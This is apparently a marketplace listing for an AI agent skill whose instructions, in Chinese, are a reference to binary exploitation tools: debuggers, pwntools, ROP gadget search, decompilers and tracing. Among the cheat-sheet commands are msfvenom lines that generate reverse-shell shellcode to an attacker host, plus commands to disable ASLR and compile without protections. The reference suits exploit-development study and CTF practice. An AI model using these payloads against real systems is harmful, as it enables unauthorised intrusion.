Binary Exploitation Tools logo

Binary Exploitation Tools

OrganizationPopular
wgpsec
binary-exploitation-tools

二进制漏洞利用工具集参考。涵盖调试工具(GDB/GEF/pwndbg/r2)、利用开发框架(pwntools/ROPgadget/one_gadget)、反编译工具(Ghidra/IDA/Binary Ninja)、动态分析工具(ltrace/strace/valgrind)。当 Agent 需要选择合适的二进制分析工具、了解工具使用方法、或搭建利用开发环境时触发。

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill namebinary-exploitation-tools
Stars
1.8K
Forks
247
Bundled files
1
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 1 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Binary Exploitation Tools AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/wgpsec/AboutSecurity/tree/master/skills/exploit/binary/binary-exploitation-tools
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/exploit/binary/binary-exploitation-tools .claude/skills/binary-exploitation-tools
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Binary Exploitation Tools in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Binary Exploitation Tools on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Binary Exploitation Tools is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

二进制漏洞利用工具集

核心原则:根据目标场景选择工具组合 → 调试定位漏洞 → 利用框架开发 exploit → 反编译辅助逆向分析

深入参考


Phase 1: 工具选择决策树

场景 → 工具选择:
├─ 需要调试二进制(设断点/单步/查看内存)
│  ├─ Linux ELF → GDB + GEF 或 pwndbg
│  ├─ Windows PE → x64dbg / WinDbg / Immunity Debugger
│  └─ 远程/嵌入式 → gdbserver + gdb-multiarch
├─ 需要反编译/逆向分析
│  ├─ 免费 + 功能强大 → Ghidra
│  ├─ 商业标准 → IDA Pro
│  ├─ 轻量命令行 → radare2 (r2)
│  └─ 快速查看汇编 → objdump
├─ 需要开发利用代码
│  ├─ Python exploit 框架 → pwntools
│  ├─ ROP gadget 搜索 → ROPgadget / ropper
│  ├─ libc one-shot shell → one_gadget
│  └─ Shellcode 生成 → msfvenom
├─ 需要动态追踪
│  ├─ 系统调用追踪 → strace
│  ├─ 库函数调用追踪 → ltrace
│  ├─ 内存错误检测 → valgrind
│  └─ 动态插桩 → Frida
├─ 需要编译测试二进制
│  └─ GCC(控制保护选项编译)
└─ 需要偏移量计算
   ├─ pwntools cyclic
   └─ Metasploit pattern_create / pattern_offset

Phase 2: 调试工具

GDB 基础

bash
# 安装
sudo apt-get install gdb

# 启动选项
gdb -q ./target_binary              # 安静模式
gdb -q -x commands.gdb ./binary     # 自动执行命令文件
gdb -q -p <pid>                     # attach 到运行中的进程

GDB 核心命令

bash
# 执行控制
run                         # 运行程序
start                       # 运行并在 main 处断下
n / next / ni               # 执行下一条(不进入函数)
s / step / si               # 执行下一条(进入函数)
c / continue                # 继续到下一个断点
finish                      # 执行到当前函数返回

# 断点
br main                     # 函数断点
br *0x401234                # 地址断点
br *main+23                 # 偏移断点
del <num>                   # 删除断点
watch <expression>          # 值变化时断下

# 查看信息
info functions              # 列出所有函数
info registers              # 查看寄存器
bt                          # 调用栈回溯
bt full                     # 详细调用栈
print <variable>            # 打印变量值
p system                    # 查找 system 函数地址

# 反汇编
disassemble main            # 反汇编函数
set disassembly-flavor intel  # 使用 Intel 语法

# 内存查看 (x/examine)
x/20gx $rsp                # 从 RSP 起查看 20 个 8 字节(十六进制)
x/s <addr>                  # 查看字符串
x/i $rip                    # 查看当前指令
x/10i $rip                  # 查看接下来 10 条指令

# 修改
set $rip = 0x401234         # 修改寄存器
set follow-fork-mode child  # 跟踪子进程

GEF (GDB Enhanced Features)

bash
# 安装
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

# 核心命令
checksec                     # 检查二进制保护
canary                       # 搜索 canary 值
vmmap                        # 查看内存映射
xinfo <addr>                 # 地址详细信息(所在页/权限/偏移)
search-pattern "/bin/sh"     # 在进程内存中搜索字符串
got                          # 查看 GOT 表
memory watch <addr> <size> byte  # 添加内存监视

# 漏洞检测
format-string-helper         # 检测不安全的格式化字符串
heap-analysis-helper         # 堆分配/释放检测(NULL free/UAF/double free)

# Pattern 偏移计算
pattern create 200           # 生成 200 字节 pattern
pattern search $rsp          # 根据 RSP 内容搜索偏移

# Shellcode
shellcode search x86         # 搜索 shellcode
shellcode get 61             # 下载指定 shellcode

# 内存 dump
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350

GDB 调试技巧

bash
# 让 GDB 地址与实际运行一致
# (gdb) unset env LINES
# (gdb) unset env COLUMNS
# (gdb) set env _=/absolute/path/to/binary

# 静态链接二进制定位输入函数
# 运行 → 等待输入 → Ctrl+C → bt(查看调用栈)

# 远程调试
# 目标: gdbserver --multi 0.0.0.0:23947
# 主机: gdb → target remote <ip>:23947

pwndbg(GDB 替代增强插件)

bash
# 安装
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh

# 特色功能: 自动显示寄存器/栈/反汇编/源码
# 命令与 GEF 类似但界面不同

Phase 3: 利用开发框架

pwntools

python
from pwn import *

# 上下文设置
context.binary = elf = ELF('./binary')
context.log_level = 'debug'

# 连接方式
p = process('./binary')         # 本地进程
p = remote('host', port)        # 远程连接
p = gdb.debug('./binary', 'b main')  # 带 GDB 调试

# IO 操作
p.sendline(b'payload')          # 发送一行
p.send(b'data')                 # 发送数据
p.recv(1024)                    # 接收数据
p.recvline()                    # 接收一行
p.recvuntil(b'> ')              # 接收直到匹配
p.interactive()                 # 交互模式

# 地址与偏移
elf.symbols['main']             # 函数地址
elf.got['puts']                 # GOT 条目
elf.plt['puts']                 # PLT 条目
next(elf.search(b'/bin/sh'))    # 搜索字符串

# Packing
p64(0xdeadbeef)                 # 64-bit 打包
p32(0xdeadbeef)                 # 32-bit 打包
u64(data.ljust(8, b'\x00'))    # 64-bit 解包

# Cyclic pattern
cyclic(200)                     # 生成 pattern
cyclic_find(0x61616168)         # 查找偏移

# ROP
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])
rop.call('main')
print(rop.dump())

ROPgadget

bash
# 搜索所有 gadgets
ROPgadget --binary ./binary

# 搜索特定 gadget
ROPgadget --binary ./binary --only "pop|ret"
ROPgadget --binary ./binary | grep "pop rdi ; ret"
ROPgadget --binary ./binary | grep "pop rsi"
ROPgadget --binary ./binary | grep "syscall"

# 在 libc 中搜索
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi"

ropper

bash
# 搜索 gadget
ropper --file ./binary --search "pop rdi"
ropper --file ./binary --search "jmp esp"

# 生成 ROP chain
ropper --file ./binary --chain execve

one_gadget

bash
# 在 libc 中查找一键 shell gadget
one_gadget /lib/x86_64-linux-gnu/libc.so.6

# 输出类似:
# 0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   rsp & 0xf == 0
#   rcx == NULL

Metasploit 工具

bash
# Pattern 偏移计算
msf-pattern_create -l 3000
msf-pattern_offset -l 3000 -q 5f97d534

# 汇编指令查 opcode
msf-nasm_shell
# nasm> jmp esp

# ELF 中搜索 gadget
msfelfscan -j esi /path/to/binary

# Shellcode 生成
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f python -b "\x00\x0a\x0d"
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -f c

Phase 4: 反编译与逆向工具

Ghidra

使用场景:
├─ 免费反编译(C 伪代码输出质量高)
├─ 查找栈溢出偏移(通过局部变量位置信息)
│  └─ local_bc 表示缓冲区偏移 0xbc
│  └─ local_10 如果是 canary → 从 local_bc 到 canary 偏移 0xac
├─ 交叉引用分析(找到调用 system/exec 的路径)
├─ 字符串搜索与引用追踪
└─ 脚本自动化分析(Java/Python API)

IDA Pro

使用场景:
├─ 商业级反编译(Hex-Rays 反编译器)
├─ 远程调试 Linux 二进制
│  └─ 目标: ./linux_server64 -Ppass
│  └─ IDA: Debugger → Process options → 配置远程 IP
├─ 丰富的插件生态
└─ 高级分析功能(类型恢复、结构体重建)

radare2 (r2)

bash
# 分析二进制
r2 -A ./binary
# afl                    # 列出函数
# pdf @main              # 反汇编 main
# iz                     # 列出字符串
# axt @sym.system        # 交叉引用

# 查看函数地址
rabin2 -i ./binary       # 导入函数及地址

objdump

bash
# 反汇编可执行段
objdump -d -Mintel ./binary

# 符号表
objdump -t ./binary

# 全部反汇编(含数据段)
objdump -D ./binary

# 查看特定段
objdump -s -j .got ./binary
objdump -s -j .plt ./binary

# 查找函数地址
objdump -t --dynamic-relo ./binary | grep puts
objdump -D ./binary | grep "VAR_NAME"

# 查看重定位
objdump -TR ./binary

Phase 5: 动态分析工具

strace / ltrace

bash
# 系统调用追踪
strace ./binary
strace -f ./binary                  # 跟踪 fork 的子进程
strace -e trace=read,write ./binary # 只追踪特定系统调用

# 库函数调用追踪
ltrace ./binary
ltrace -e strcmp ./binary           # 只追踪 strcmp 调用

库地址与偏移查找

bash
# 查看 libc 加载地址
ldd ./binary | grep libc.so.6

# 多次运行查看 ASLR 影响
for i in $(seq 0 20); do ldd ./binary | grep libc; done

# 查找 libc 中函数偏移
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " system"

# 查找 "/bin/sh" 字符串偏移
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh

Core Dump 分析

bash
# 启用 core dump
ulimit -c unlimited
sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t

# 分析 core dump
gdb --core=/tmp/core-binary.1234 --quiet ./binary

qltool (Qiling 框架)

bash
# 反汇编追踪(记录每条执行的指令)
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./binary

Immunity Debugger (Windows)

bash
# Mona 插件命令
!mona modules                          # 查看模块保护状态
!mona find -s "\xff\xe4" -m module.dll # 在模块中搜索 JMP ESP opcode

GCC 编译选项(测试用)

bash
# 关闭所有保护编译
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack -o vuln vuln.c

# 各选项说明
# -fno-stack-protector   → 禁用 Stack Canary
# -D_FORTIFY_SOURCE=0    → 禁用 Fortify Source
# -z norelro             → 禁用 RELRO
# -z execstack           → 栈可执行(禁用 NX)
# -no-pie                → 禁用 PIE
# -g                     → 包含调试信息

# 编译 shellcode
nasm -f elf64 shellcode.asm        # 汇编 → .o
ld shellcode.o -o shellcode        # 链接 → 可执行

# 关闭系统 ASLR(测试环境)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

工具速查

类别工具用途
调试GDB + GEFLinux 标准调试器 + 增强插件
调试pwndbgGDB 另一款增强插件
调试gdb-multiarch跨架构远程调试
调试x64dbgWindows 调试器
利用框架pwntoolsPython exploit 开发
利用框架ROPgadgetROP gadget 搜索
利用框架roppergadget 搜索 + chain 生成
利用框架one_gadgetlibc one-shot shell
利用框架msfvenomshellcode 生成
逆向Ghidra免费反编译器
逆向IDA Pro商业反编译器
逆向radare2命令行逆向框架
逆向objdump快速反汇编
动态分析strace系统调用追踪
动态分析ltrace库函数追踪
动态分析Frida动态插桩
编译GCC / nasm测试二进制编译

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Binary Exploitation Tools AI skill do?

二进制漏洞利用工具集参考。涵盖调试工具(GDB/GEF/pwndbg/r2)、利用开发框架(pwntools/ROPgadget/one_gadget)、反编译工具(Ghidra/IDA/Binary Ninja)、动态分析工具(ltrace/strace/valgrind)。当 Agent 需要选择合适的二进制分析工具、了解工具使用方法、或搭建利用开发环境时触发。

Why use Binary Exploitation Tools on TypingMind?

Because you install it once and use it with any model. Binary Exploitation Tools is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Binary Exploitation Tools in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/exploit/binary/binary-exploitation-tools. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Binary Exploitation Tools?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Binary Exploitation Tools?

As many as you like. As long as a model supports skills, you can use Binary Exploitation Tools with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Binary Exploitation Tools AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇